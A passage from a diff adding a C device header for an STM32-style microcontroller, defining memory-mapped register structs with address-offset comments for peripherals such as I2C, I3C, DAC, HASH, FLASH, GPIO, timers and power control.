uint32_t DR; /*!< CRC Data register, Address offset: 0x00 */ + __IO uint32_t IDR; /*!< CRC Independent data register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< CRC Control register, Address offset: 0x08 */ + uint32_t RESERVED2; /*!< Reserved, 0x0C */ + __IO uint32_t INIT; /*!< Initial CRC value register, Address offset: 0x10 */ + __IO uint32_t POL; /*!< CRC polynomial register, Address offset: 0x14 */ + uint32_t RESERVED3[246]; /*!< Reserved, */ + __IO uint32_t HWCFGR; /*!< CRC IP HWCFGR register, Address offset: 0x3F0 */ + __IO uint32_t VERR; /*!< CRC IP version register, Address offset: 0x3F4 */ + __IO uint32_t PIDR; /*!< CRC IP type identification register, Address offset: 0x3F8 */ + __IO uint32_t SIDR; /*!< CRC IP map Size ID register, Address offset: 0x3FC */ +} CRC_TypeDef; + +/** + * @brief Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR1; /*!< I2C Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< I2C Control register 2, Address offset: 0x04 */ + __IO uint32_t OAR1; /*!< I2C Own address 1 register, Address offset: 0x08 */ + __IO uint32_t OAR2; /*!< I2C Own address 2 register, Address offset: 0x0C */ + __IO uint32_t TIMINGR; /*!< I2C Timing register, Address offset: 0x10 */ + __IO uint32_t TIMEOUTR; /*!< I2C Timeout register, Address offset: 0x14 */ + __IO uint32_t ISR; /*!< I2C Interrupt and status register, Address offset: 0x18 */ + __IO uint32_t ICR; /*!< I2C Interrupt clear register, Address offset: 0x1C */ + __IO uint32_t PECR; /*!< I2C PEC register, Address offset: 0x20 */ + __IO uint32_t RXDR; /*!< I2C Receive data register, Address offset: 0x24 */ + __IO uint32_t TXDR; /*!< I2C Transmit data register, Address offset: 0x28 */ +} I2C_TypeDef; + +/** + * @brief Improved Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR; /*!< I3C Control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< I3C Controller Configuration register, Address offset: 0x04 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x08-0x0C */ + __IO uint32_t RDR; /*!< I3C Received Data register, Address offset: 0x10 */ + __IO uint32_t RDWR; /*!< I3C Received Data Word register, Address offset: 0x14 */ + __IO uint32_t TDR; /*!< I3C Transmit Data register, Address offset: 0x18 */ + __IO uint32_t TDWR; /*!< I3C Transmit Data Word register, Address offset: 0x1C */ + __IO uint32_t IBIDR; /*!< I3C IBI payload Data register, Address offset: 0x20 */ + __IO uint32_t TGTTDR; /*!< I3C Target Transmit register, Address offset: 0x24 */ + uint32_t RESERVED2[2]; /*!< Reserved, Address offset: 0x28-0x2C */ + __IO uint32_t SR; /*!< I3C Status register, Address offset: 0x30 */ + __IO uint32_t SER; /*!< I3C Status Error register, Address offset: 0x34 */ + uint32_t RESERVED3[2]; /*!< Reserved, Address offset: 0x38-0x3C */ + __IO uint32_t RMR; /*!< I3C Received Message register, Address offset: 0x40 */ + uint32_t RESERVED4[3]; /*!< Reserved, Address offset: 0x44-0x4C */ + __IO uint32_t EVR; /*!< I3C Event register, Address offset: 0x50 */ + __IO uint32_t IER; /*!< I3C Interrupt Enable register, Address offset: 0x54 */ + __IO uint32_t CEVR; /*!< I3C Clear Event register, Address offset: 0x58 */ + uint32_t RESERVED5; /*!< Reserved, Address offset: 0x5C */ + __IO uint32_t DEVR0; /*!< I3C own Target characteristics register, Address offset: 0x60 */ + __IO uint32_t DEVRX[4]; /*!< I3C Target x (1<=x<=4) register, Address offset: 0x64-0x70 */ + uint32_t RESERVED6[7]; /*!< Reserved, Address offset: 0x74-0x8C */ + __IO uint32_t MAXRLR; /*!< I3C Maximum Read Length register, Address offset: 0x90 */ + __IO uint32_t MAXWLR; /*!< I3C Maximum Write Length register, Address offset: 0x94 */ + uint32_t RESERVED7[2]; /*!< Reserved, Address offset: 0x98-0x9C */ + __IO uint32_t TIMINGR0; /*!< I3C Timing 0 register, Address offset: 0xA0 */ + __IO uint32_t TIMINGR1; /*!< I3C Timing 1 register, Address offset: 0xA4 */ + __IO uint32_t TIMINGR2; /*!< I3C Timing 2 register, Address offset: 0xA8 */ + uint32_t RESERVED9[5]; /*!< Reserved, Address offset: 0xAC-0xBC */ + __IO uint32_t BCR; /*!< I3C Bus Characteristics register, Address offset: 0xC0 */ + __IO uint32_t DCR; /*!< I3C Device Characteristics register, Address offset: 0xC4 */ + __IO uint32_t GETCAPR; /*!< I3C GET CAPabilities register, Address offset: 0xC8 */ + __IO uint32_t CRCAPR; /*!< I3C Controller CAPabilities register, Address offset: 0xCC */ + __IO uint32_t GETMXDSR; /*!< I3C GET Max Data Speed register, Address offset: 0xD0 */ + __IO uint32_t EPIDR; /*!< I3C Extended Provisioned ID register, Address offset: 0xD4 */ +} I3C_TypeDef; + +/** + * @brief DAC + */ +typedef struct +{ + __IO uint32_t CR; /*!< DAC control register, Address offset: 0x00 */ + __IO uint32_t SWTRIGR; /*!< DAC software trigger register, Address offset: 0x04 */ + __IO uint32_t DHR12R1; /*!< DAC channel1 12-bit right-aligned data holding register, Address offset: 0x08 */ + __IO uint32_t DHR12L1; /*!< DAC channel1 12-bit left aligned data holding register, Address offset: 0x0C */ + __IO uint32_t DHR8R1; /*!< DAC channel1 8-bit right aligned data holding register, Address offset: 0x10 */ + __IO uint32_t DHR12R2; /*!< DAC channel2 12-bit right aligned data holding register, Address offset: 0x14 */ + __IO uint32_t DHR12L2; /*!< DAC channel2 12-bit left aligned data holding register, Address offset: 0x18 */ + __IO uint32_t DHR8R2; /*!< DAC channel2 8-bit right-aligned data holding register, Address offset: 0x1C */ + __IO uint32_t DHR12RD; /*!< Dual DAC 12-bit right-aligned data holding register, Address offset: 0x20 */ + __IO uint32_t DHR12LD; /*!< DUAL DAC 12-bit left aligned data holding register, Address offset: 0x24 */ + __IO uint32_t DHR8RD; /*!< DUAL DAC 8-bit right aligned data holding register, Address offset: 0x28 */ + __IO uint32_t DOR1; /*!< DAC channel1 data output register, Address offset: 0x2C */ + __IO uint32_t DOR2; /*!< DAC channel2 data output register, Address offset: 0x30 */ + __IO uint32_t SR; /*!< DAC status register, Address offset: 0x34 */ + __IO uint32_t CCR; /*!< DAC calibration control register, Address offset: 0x38 */ + __IO uint32_t MCR; /*!< DAC mode control register, Address offset: 0x3C */ + __IO uint32_t SHSR1; /*!< DAC Sample and Hold sample time register 1, Address offset: 0x40 */ + __IO uint32_t SHSR2; /*!< DAC Sample and Hold sample time register 2, Address offset: 0x44 */ + __IO uint32_t SHHR; /*!< DAC Sample and Hold hold time register, Address offset: 0x48 */ + __IO uint32_t SHRR; /*!< DAC Sample and Hold refresh time register, Address offset: 0x4C */ + __IO uint32_t RESERVED[1]; + __IO uint32_t AUTOCR; /*!< DAC Autonomous mode register, Address offset: 0x54 */ +} DAC_TypeDef; + +/** + * @brief Clock Recovery System + */ +typedef struct +{ +__IO uint32_t CR; /*!< CRS ccontrol register, Address offset: 0x00 */ +__IO uint32_t CFGR; /*!< CRS configuration register, Address offset: 0x04 */ +__IO uint32_t ISR; /*!< CRS interrupt and status register, Address offset: 0x08 */ +__IO uint32_t ICR; /*!< CRS interrupt flag clear register, Address offset: 0x0C */ +} CRS_TypeDef; + + +/** + * @brief HASH + */ +typedef struct +{ + __IO uint32_t CR; /*!< HASH control register, Address offset: 0x00 */ + __IO uint32_t DIN; /*!< HASH data input register, Address offset: 0x04 */ + __IO uint32_t STR; /*!< HASH start register, Address offset: 0x08 */ + __IO uint32_t HR[5]; /*!< HASH digest registers, Address offset: 0x0C-0x1C */ + __IO uint32_t IMR; /*!< HASH interrupt enable register, Address offset: 0x20 */ + __IO uint32_t SR; /*!< HASH status register, Address offset: 0x24 */ + uint32_t RESERVED[52]; /*!< Reserved, 0x28-0xF4 */ + __IO uint32_t CSR[54]; /*!< HASH context swap registers, Address offset: 0x0F8-0x1CC */ +} HASH_TypeDef; + +/** + * @brief HASH_DIGEST + */ +typedef struct +{ + __IO uint32_t HR[8]; /*!< HASH digest registers, Address offset: 0x310-0x32C */ +} HASH_DIGEST_TypeDef; + +/** + * @brief RNG + */ +typedef struct +{ + __IO uint32_t CR; /*!< RNG control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< RNG status register, Address offset: 0x04 */ + __IO uint32_t DR; /*!< RNG data register, Address offset: 0x08 */ + __IO uint32_t HTCR; /*!< RNG health test configuration register, Address offset: 0x10 */ +} RNG_TypeDef; + +/** + * @brief Debug MCU + */ +typedef struct +{ + __IO uint32_t IDCODE; /*!< MCU device ID code, Address offset: 0x00 */ + __IO uint32_t CR; /*!< Debug MCU configuration register, Address offset: 0x04 */ + __IO uint32_t APB1FZR1; /*!< Debug MCU APB1 freeze register 1, Address offset: 0x08 */ + __IO uint32_t APB1FZR2; /*!< Debug MCU APB1 freeze register 2, Address offset: 0x0C */ + __IO uint32_t APB2FZR; /*!< Debug MCU APB2 freeze register, Address offset: 0x10 */ + __IO uint32_t APB3FZR; /*!< Debug MCU APB3 freeze register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x18 - 0x1C */ + __IO uint32_t AHB1FZR; /*!< Debug MCU AHB1 freeze register, Address offset: 0x20 */ + uint32_t RESERVED2[54]; /*!< Reserved, 0x24 - 0xF8 */ + __IO uint32_t SR; /*!< Debug MCU SR register, Address offset: 0xFC */ + __IO uint32_t DBG_AUTH_HOST; /*!< Debug DBG_AUTH_HOST register, Address offset: 0x100 */ + __IO uint32_t DBG_AUTH_DEV; /*!< Debug DBG_AUTH_DEV register, Address offset: 0x104 */ + __IO uint32_t DBG_AUTH_ACK; /*!< Debug DBG_AUTH_ACK register, Address offset: 0x108 */ + uint32_t RESERVED3[945]; /*!< Reserved, 0x10C - 0xFCC */ + __IO uint32_t PIDR4; /*!< Debug MCU Peripheral ID register 4, Address offset: 0xFD0 */ + __IO uint32_t PIDR5; /*!< Debug MCU Peripheral ID register 5, Address offset: 0xFD4 */ + __IO uint32_t PIDR6; /*!< Debug MCU Peripheral ID register 6, Address offset: 0xFD8 */ + __IO uint32_t PIDR7; /*!< Debug MCU Peripheral ID register 7, Address offset: 0xFDC */ + __IO uint32_t PIDR0; /*!< Debug MCU Peripheral ID register 0, Address offset: 0xFE0 */ + __IO uint32_t PIDR1; /*!< Debug MCU Peripheral ID register 1, Address offset: 0xFE4 */ + __IO uint32_t PIDR2; /*!< Debug MCU Peripheral ID register 2, Address offset: 0xFE8 */ + __IO uint32_t PIDR3; /*!< Debug MCU Peripheral ID register 3, Address offset: 0xFEC */ + __IO uint32_t CIDR0; /*!< Debug MCU Component ID register 0, Address offset: 0xFF0 */ + __IO uint32_t CIDR1; /*!< Debug MCU Component ID register 1, Address offset: 0xFF4 */ + __IO uint32_t CIDR2; /*!< Debug MCU Component ID register 2, Address offset: 0xFF8 */ + __IO uint32_t CIDR3; /*!< Debug MCU Component ID register 3, Address offset: 0xFFC */ +} DBGMCU_TypeDef; + + +/** + * @brief DMA Controller + */ +typedef struct +{ + uint32_t RESERVED0; /*!< Reserved Address offset: 0x00 */ + __IO uint32_t PRIVCFGR; /*!< DMA privileged configuration register, Address offset: 0x04 */ + uint32_t RESERVED1; /*!< Reserved Address offset: 0x08 */ + __IO uint32_t MISR; /*!< DMA non secure masked interrupt status register, Address offset: 0x0C */ + uint32_t RESERVED2; /*!< Reserved Address offset: 0x08 */ +} DMA_TypeDef; + +typedef struct +{ + __IO uint32_t CLBAR; /*!< DMA channel x linked-list base address register, Address offset: 0x50 + (x * 0x80) */ + uint32_t RESERVED1[2]; /*!< Reserved 1, Address offset: 0x54 -- 0x58 */ + __IO uint32_t CFCR; /*!< DMA channel x flag clear register, Address offset: 0x5C + (x * 0x80) */ + __IO uint32_t CSR; /*!< DMA channel x flag status register, Address offset: 0x60 + (x * 0x80) */ + __IO uint32_t CCR; /*!< DMA channel x control register, Address offset: 0x64 + (x * 0x80) */ + uint32_t RESERVED2[10];/*!< Reserved 2, Address offset: 0x68 -- 0x8C */ + __IO uint32_t CTR1; /*!< DMA channel x transfer register 1, Address offset: 0x90 + (x * 0x80) */ + __IO uint32_t CTR2; /*!< DMA channel x transfer register 2, Address offset: 0x94 + (x * 0x80) */ + __IO uint32_t CBR1; /*!< DMA channel x block register 1, Address offset: 0x98 + (x * 0x80) */ + __IO uint32_t CSAR; /*!< DMA channel x source address register, Address offset: 0x9C + (x * 0x80) */ + __IO uint32_t CDAR; /*!< DMA channel x destination address register, Address offset: 0xA0 + (x * 0x80) */ + __IO uint32_t CTR3; /*!< DMA channel x transfer register 3, Address offset: 0xA4 + (x * 0x80) */ + __IO uint32_t CBR2; /*!< DMA channel x block register 2, Address offset: 0xA8 + (x * 0x80) */ + uint32_t RESERVED3[8]; /*!< Reserved 3, Address offset: 0xAC -- 0xC8 */ + __IO uint32_t CLLR; /*!< DMA channel x linked-list address register, Address offset: 0xCC + (x * 0x80) */ +} DMA_Channel_TypeDef; + + +/** + * @brief Asynch Interrupt/Event Controller (EXTI) + */ +typedef struct +{ + __IO uint32_t RTSR1; /*!< EXTI Rising Trigger Selection Register 1, Address offset: 0x00 */ + __IO uint32_t FTSR1; /*!< EXTI Falling Trigger Selection Register 1, Address offset: 0x04 */ + __IO uint32_t SWIER1; /*!< EXTI Software Interrupt event Register 1, Address offset: 0x08 */ + __IO uint32_t RPR1; /*!< EXTI Rising Pending Register 1, Address offset: 0x0C */ + __IO uint32_t FPR1; /*!< EXTI Falling Pending Register 1, Address offset: 0x10 */ + uint32_t RESERVED1; /*!< Reserved 1, Address offset: 0x14 */ + __IO uint32_t PRIVCFGR1; /*!< EXTI Privilege Configuration Register 1, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved 2, Address offset: 0x1C */ + __IO uint32_t RTSR2; /*!< EXTI Rising Trigger Selection Register 2, Address offset: 0x20 */ + __IO uint32_t FTSR2; /*!< EXTI Falling Trigger Selection Register 2, Address offset: 0x24 */ + __IO uint32_t SWIER2; /*!< EXTI Software Interrupt event Register 2, Address offset: 0x28 */ + __IO uint32_t RPR2; /*!< EXTI Rising Pending Register 2, Address offset: 0x2C */ + __IO uint32_t FPR2; /*!< EXTI Falling Pending Register 2, Address offset: 0x30 */ + uint32_t RESERVED3; /*!< Reserved 3, Address offset: 0x34 */ + __IO uint32_t PRIVCFGR2; /*!< EXTI Privilege Configuration Register 2, Address offset: 0x38 */ + uint32_t RESERVED4[9]; /*!< Reserved 4, 0x3C-- 0x5C */ + __IO uint32_t EXTICR[4]; /*!< EXIT External Interrupt Configuration Register, 0x60 -- 0x6C */ + uint32_t RESERVED5[4]; /*!< Reserved 5, 0x70 -- 0x7C */ + __IO uint32_t IMR1; /*!< EXTI Interrupt Mask Register 1, Address offset: 0x80 */ + __IO uint32_t EMR1; /*!< EXTI Event Mask Register 1, Address offset: 0x84 */ + uint32_t RESERVED6[2]; /*!< Reserved 6, 0x88 -- 0x8C */ + __IO uint32_t IMR2; /*!< EXTI Interrupt Mask Register 2, Address offset: 0x90 */ + __IO uint32_t EMR2; /*!< EXTI Event Mask Register 2, Address offset: 0x94 */ +} EXTI_TypeDef; + +/** + * @brief FLASH Registers + */ +typedef struct +{ + __IO uint32_t ACR; /*!< FLASH access control register, Address offset: 0x00 */ + __IO uint32_t NSKEYR; /*!< FLASH non-secure key register, Address offset: 0x04 */ + uint32_t RESERVED1; /*!< Reserved1, Address offset: 0x08 */ + __IO uint32_t OPTKEYR; /*!< FLASH option key register, Address offset: 0x0C */ + uint32_t RESERVED2[2]; /*!< Reserved2, Address offset: 0x10-0x14 */ + __IO uint32_t OPSR; /*!< FLASH OPSR register, Address offset: 0x18 */ + __IO uint32_t OPTCR; /*!< Flash Option Control Register, Address offset: 0x1C */ + __IO uint32_t NSSR; /*!< FLASH non-secure status register, Address offset: 0x20 */ + uint32_t RESERVED3; /*!< Reserved3, Address offset: 0x24 */ + __IO uint32_t NSCR; /*!< FLASH non-secure control register, Address offset: 0x28 */ + uint32_t RESERVED4; /*!< Reserved4, Address offset: 0x2C */ + __IO uint32_t NSCCR; /*!< FLASH non-secure clear control register, Address offset: 0x30 */ + uint32_t RESERVED5[2]; /*!< Reserved5, Address offset: 0x34-0x38 */ + __IO uint32_t PRIVCFGR; /*!< FLASH privilege configuration register, Address offset: 0x3C */ + uint32_t RESERVED6[2]; /*!< Reserved6, Address offset: 0x40-0x44 */ + __IO uint32_t HDPEXTR; /*!< FLASH HDP extension register, Address offset: 0x48 */ + uint32_t RESERVED7; /*!< Reserved7, Address offset: 0x4C */ + __IO uint32_t OPTSR_CUR; /*!< FLASH option status current register, Address offset: 0x50 */ + __IO uint32_t OPTSR_PRG; /*!< FLASH option status to program register, Address offset: 0x54 */ + uint32_t RESERVED8[2]; /*!< Reserved8, Address offset: 0x58-0x5C */ + __IO uint32_t NSEPOCHR_CUR; /*!< FLASH non-secure epoch current register, Address offset: 0x60 */ + __IO uint32_t NSEPOCHR_PRG; /*!< FLASH non-secure epoch to program register, Address offset: 0x64 */ + uint32_t RESERVED9[2]; /*!< Reserved9, Address offset: 0x68-0x6C */ + __IO uint32_t OPTSR2_CUR; /*!< FLASH option status current register 2, Address offset: 0x70 */ + __IO uint32_t OPTSR2_PRG; /*!< FLASH option status to program register 2, Address offset: 0x74 */ + uint32_t RESERVED10[2]; /*!< Reserved10, Address offset: 0x78-0x7C */ + __IO uint32_t NSBOOTR_CUR; /*!< FLASH non-secure unique boot entry current register, Address offset: 0x80 */ + __IO uint32_t NSBOOTR_PRG; /*!< FLASH non-secure unique boot entry to program register, Address offset: 0x84 */ + uint32_t RESERVED11[2]; /*!< Reserved11, Address offset: 0x88-0x8C */ + __IO uint32_t OTPBLR_CUR; /*!< FLASH OTP block lock current register, Address offset: 0x90 */ + __IO uint32_t OTPBLR_PRG; /*!< FLASH OTP block Lock to program register, Address offset: 0x94 */ + uint32_t RESERVED12[10]; /*!< Reserved12, Address offset: 0x98-0xBC */ + __IO uint32_t PRIVBB1R1; /*!< FLASH privilege block-based bank 1 register 1, Address offset: 0xC0 */ + uint32_t RESERVED13[9]; /*!< Reserved13, Address offset: 0xC4-0xE4 */ + __IO uint32_t WRP1R_CUR; /*!< FLASH write sector group protection current register for bank1, Address offset: 0xE8 */ + __IO uint32_t WRP1R_PRG; /*!< FLASH write sector group protection to program register for bank1, Address offset: 0xEC */ + uint32_t RESERVED14[2]; /*!< Reserved14, Address offset: 0xF0-0xF4 */ + __IO uint32_t HDP1R_CUR; /*!< FLASH HDP configuration current register for bank1, Address offset: 0xF8 */ + __IO uint32_t HDP1R_PRG; /*!< FLASH HDP configuration to program register for bank1, Address offset: 0xFC */ + __IO uint32_t ECCCORR; /*!< FLASH ECC correction register, Address offset: 0x100 */ + __IO uint32_t ECCDETR; /*!< FLASH ECC detection register, Address offset: 0x104 */ + __IO uint32_t ECCDR; /*!< FLASH ECC data register, Address offset: 0x108 */ + uint32_t RESERVED15[45]; /*!< Reserved15, Address offset: 0x10C-0x1BC */ + __IO uint32_t PRIVBB2R1; /*!< FLASH privilege block-based bank 2 register 1, Address offset: 0x1C0 */ + uint32_t RESERVED16[9]; /*!< Reserved16, Address offset: 0x1C4-0x1E4 */ + __IO uint32_t WRP2R_CUR; /*!< FLASH write sector group protection current register for bank2, Address offset: 0x1E8 */ + __IO uint32_t WRP2R_PRG; /*!< FLASH write sector group protection to program register for bank2, Address offset: 0x1EC */ + uint32_t RESERVED17[2]; /*!< Reserved17, Address offset: 0x1F0-0x1F4 */ + __IO uint32_t HDP2R_CUR; /*!< FLASH HDP configuration current register for bank2, Address offset: 0x1F8 */ + __IO uint32_t HDP2R_PRG; /*!< FLASH HDP configuration to program register for bank2, Address offset: 0x1FC */ +} FLASH_TypeDef; + +/** + * @brief General Purpose I/O + */ +typedef struct +{ + __IO uint32_t MODER; /*!< GPIO port mode register, Address offset: 0x00 */ + __IO uint32_t OTYPER; /*!< GPIO port output type register, Address offset: 0x04 */ + __IO uint32_t OSPEEDR; /*!< GPIO port output speed register, Address offset: 0x08 */ + __IO uint32_t PUPDR; /*!< GPIO port pull-up/pull-down register, Address offset: 0x0C */ + __IO uint32_t IDR; /*!< GPIO port input data register, Address offset: 0x10 */ + __IO uint32_t ODR; /*!< GPIO port output data register, Address offset: 0x14 */ + __IO uint32_t BSRR; /*!< GPIO port bit set/reset register, Address offset: 0x18 */ + __IO uint32_t LCKR; /*!< GPIO port configuration lock register, Address offset: 0x1C */ + __IO uint32_t AFR[2]; /*!< GPIO alternate function registers, Address offset: 0x20-0x24 */ + __IO uint32_t BRR; /*!< GPIO Bit Reset register, Address offset: 0x28 */ + __IO uint32_t HSLVR; /*!< GPIO high-speed low voltage register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< GPIO secure configuration register, Address offset: 0x30 */ +} GPIO_TypeDef; + +/** + * @brief Global TrustZone Controller + */ +typedef struct +{ + uint32_t RESERVED1[8]; /*!< Reserved1, Address offset: 0x00-0x1C */ + __IO uint32_t PRIVCFGR1; /*!< TZSC privilege configuration register 1, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR2; /*!< TZSC privilege configuration register 2, Address offset: 0x24 */ + __IO uint32_t PRIVCFGR3; /*!< TZSC privilege configuration register 3, Address offset: 0x28 */ + uint32_t RESERVED3[17]; /*!< Reserved3, Address offset: 0x2C-0x6C */ + __IO uint32_t MPCWM4ACFGR; /*!< TZSC memory 4 sub-region A watermark configuration register, Address offset: 0x70 */ + __IO uint32_t MPCWM4AR; /*!< TZSC memory 4 sub-region A watermark register, Address offset: 0x74 */ +} GTZC_TZSC_TypeDef; + +typedef struct +{ + uint32_t RESERVED1[128]; /*!< Reserved1, Address offset: 0x000-0x1FC */ + __IO uint32_t PRIVCFGR[32]; /*!< MPCBBx privilege configuration registers, Address offset: 0x200-0x280 */ +} GTZC_MPCBB_TypeDef; + +/** + * @brief Instruction Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< ICACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< ICACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< ICACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< ICACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t HMONR; /*!< ICACHE hit monitor register, Address offset: 0x10 */ + __IO uint32_t MMONR; /*!< ICACHE miss monitor register, Address offset: 0x14 */ +} ICACHE_TypeDef; + +/** + * @brief TIM + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TIM control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TIM control register 2, Address offset: 0x04 */ + __IO uint32_t SMCR; /*!< TIM slave mode control register, Address offset: 0x08 */ + __IO uint32_t DIER; /*!< TIM DMA/interrupt enable register, Address offset: 0x0C */ + __IO uint32_t SR; /*!< TIM status register, Address offset: 0x10 */ + __IO uint32_t EGR; /*!< TIM event generation register, Address offset: 0x14 */ + __IO uint32_t CCMR1; /*!< TIM capture/compare mode register 1, Address offset: 0x18 */ + __IO uint32_t CCMR2; /*!< TIM capture/compare mode register 2, Address offset: 0x1C */ + __IO uint32_t CCER; /*!< TIM capture/compare enable register, Address offset: 0x20 */ + __IO uint32_t CNT; /*!< TIM counter register, Address offset: 0x24 */ + __IO uint32_t PSC; /*!< TIM prescaler, Address offset: 0x28 */ + __IO uint32_t ARR; /*!< TIM auto-reload register, Address offset: 0x2C */ + __IO uint32_t RCR; /*!< TIM repetition counter register, Address offset: 0x30 */ + __IO uint32_t CCR1; /*!< TIM capture/compare register 1, Address offset: 0x34 */ + __IO uint32_t CCR2; /*!< TIM capture/compare register 2, Address offset: 0x38 */ + __IO uint32_t CCR3; /*!< TIM capture/compare register 3, Address offset: 0x3C */ + __IO uint32_t CCR4; /*!< TIM capture/compare register 4, Address offset: 0x40 */ + __IO uint32_t BDTR; /*!< TIM break and dead-time register, Address offset: 0x44 */ + __IO uint32_t CCR5; /*!< TIM capture/compare register 5, Address offset: 0x48 */ + __IO uint32_t CCR6; /*!< TIM capture/compare register 6, Address offset: 0x4C */ + __IO uint32_t CCMR3; /*!< TIM capture/compare mode register 3, Address offset: 0x50 */ + __IO uint32_t DTR2; /*!< TIM deadtime register 2, Address offset: 0x54 */ + __IO uint32_t ECR; /*!< TIM encoder control register, Address offset: 0x58 */ + __IO uint32_t TISEL; /*!< TIM Input Selection register, Address offset: 0x5C */ + __IO uint32_t AF1; /*!< TIM alternate function option register 1, Address offset: 0x60 */ + __IO uint32_t AF2; /*!< TIM alternate function option register 2, Address offset: 0x64 */ + __IO uint32_t OR1 ; /*!< TIM option register, Address offset: 0x68 */ + uint32_t RESERVED0[220];/*!< Reserved, Address offset: 0x6C */ + __IO uint32_t DCR; /*!< TIM DMA control register, Address offset: 0x3DC */ + __IO uint32_t DMAR; /*!< TIM DMA address for full transfer, Address offset: 0x3E0 */ +} TIM_TypeDef; + +/** + * @brief LPTIMER + */ +typedef struct +{ + __IO uint32_t ISR; /*!< LPTIM Interrupt and Status register, Address offset: 0x00 */ + __IO uint32_t ICR; /*!< LPTIM Interrupt Clear register, Address offset: 0x04 */ + __IO uint32_t DIER; /*!< LPTIM Interrupt Enable register, Address offset: 0x08 */ + __IO uint32_t CFGR; /*!< LPTIM Configuration register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< LPTIM Control register, Address offset: 0x10 */ + __IO uint32_t CCR1; /*!< LPTIM Capture/Compare register 1, Address offset: 0x14 */ + __IO uint32_t ARR; /*!< LPTIM Autoreload register, Address offset: 0x18 */ + __IO uint32_t CNT; /*!< LPTIM Counter register, Address offset: 0x1C */ + __IO uint32_t RESERVED0; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t CFGR2; /*!< LPTIM Configuration register 2, Address offset: 0x24 */ + __IO uint32_t RCR; /*!< LPTIM Repetition register, Address offset: 0x28 */ + __IO uint32_t CCMR1; /*!< LPTIM Capture/Compare mode register, Address offset: 0x2C */ + __IO uint32_t RESERVED1; /*!< Reserved, Address offset: 0x30 */ + __IO uint32_t CCR2; /*!< LPTIM Capture/Compare register 2, Address offset: 0x34 */ +} LPTIM_TypeDef; + +/** + * @brief Comparator + */ +typedef struct +{ + __IO uint32_t SR; /*!< Comparator status register, Address offset: 0x00 */ + __IO uint32_t ICFR; /*!< Comparator interrupt clear flag register, Address offset: 0x04 */ +} COMPOPT_TypeDef; + +typedef struct +{ + __IO uint32_t SR; /*!< Comparator status register, Address offset: 0x00 */ + __IO uint32_t ICFR; /*!< Comparator interrupt clear flag register, Address offset: 0x04 */ + __IO uint32_t RESERVED1; /*!< Reserved, Address offset: 0x08 */ + __IO uint32_t CFGR1; /*!< Comparator configuration register 1 , Address offset: 0x0C */ + __IO uint32_t CFGR2; /*!< Comparator configuration register 2 , Address offset: 0x10 */ +} COMP_TypeDef; + +typedef struct +{ + __IO uint32_t CFGR; /*!< COMP control and status register, used for bits common to several COMP instances, Address offset: 0x00 */ +} COMP_Common_TypeDef; + +/** + * @brief Operational Amplifier (OPAMP) + */ + +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, Address offset: 0x00 */ + __IO uint32_t OTR; /*!< OPAMP offset trimming register for normal mode, Address offset: 0x04 */ + __IO uint32_t HSOTR; /*!< OPAMP offset trimming register for high speed mode, Address offset: 0x08 */ +} OPAMP_TypeDef; + + + +/** + * @brief Power Control + */ +typedef struct +{ + __IO uint32_t PMCR; /*!< Power mode control register , Address offset: 0x00 */ + __IO uint32_t PMSR; /*!< Power mode status register , Address offset: 0x04 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x08-0x0C */ + __IO uint32_t VOSCR; /*!< Voltage scaling control register , Address offset: 0x10 */ + __IO uint32_t VOSSR; /*!< Voltage sacling status register , Address offset: 0x14 */ + uint32_t RESERVED2[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t BDCR; /*!< BacKup domain control register , Address offset: 0x20 */ + __IO uint32_t DBPCR; /*!< DBP control register, Address offset: 0x24 */ + __IO uint32_t BDSR; /*!< BacKup domain status register, Address offset: 0x28 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x38 */ + __IO uint32_t SCCR; /*!< Supply configuration control register, Address offset: 0x30 */ + __IO uint32_t VMCR; /*!< Voltage Monitor Control Register, Address offset: 0x34 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x38 */ + __IO uint32_t VMSR; /*!< Status Register Voltage Monitoring, Address offset: 0x3C */ + __IO uint32_t WUSCR; /*!< WakeUP status clear register, Address offset: 0x40 */ + __IO uint32_t WUSR; /*!< WakeUP status Register, Address offset: 0x44 */ + __IO uint32_t WUCR; /*!< WakeUP configuration register, Address offset: 0x48 */ + uint32_t RESERVED5; /*!< Reserved, Address offset: 0x4C */ + __IO uint32_t IORETR; /*!< IO RETention Register, Address offset: 0x50 */ + uint32_t RESERVED6[43];/*!< Reserved, Address offset: 0x54-0xFC */ + uint32_t RESERVED7; /*!< Reserved, Address offset: 0x100 */ + __IO uint32_t PRIVCFGR; /*!< Privilege configuration register, Address offset: 0x104 */ +}PWR_TypeDef; + +/** + * @brief SRAMs configuration controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< Control Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t ISR; /*!< Interrupt Status Register, Address offset: 0x08 */ + __IO uint32_t SEAR; /*!< ECC Single Error Address Register, Address offset: 0x0C */ + __IO uint32_t DEAR; /*!< ECC Double Error Address Register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< Interrupt Clear Register, Address offset: 0x14 */ + __IO uint32_t WPR1; /*!< SRAM Write Protection Register 1, Address offset: 0x18 */ + __IO uint32_t WPR2; 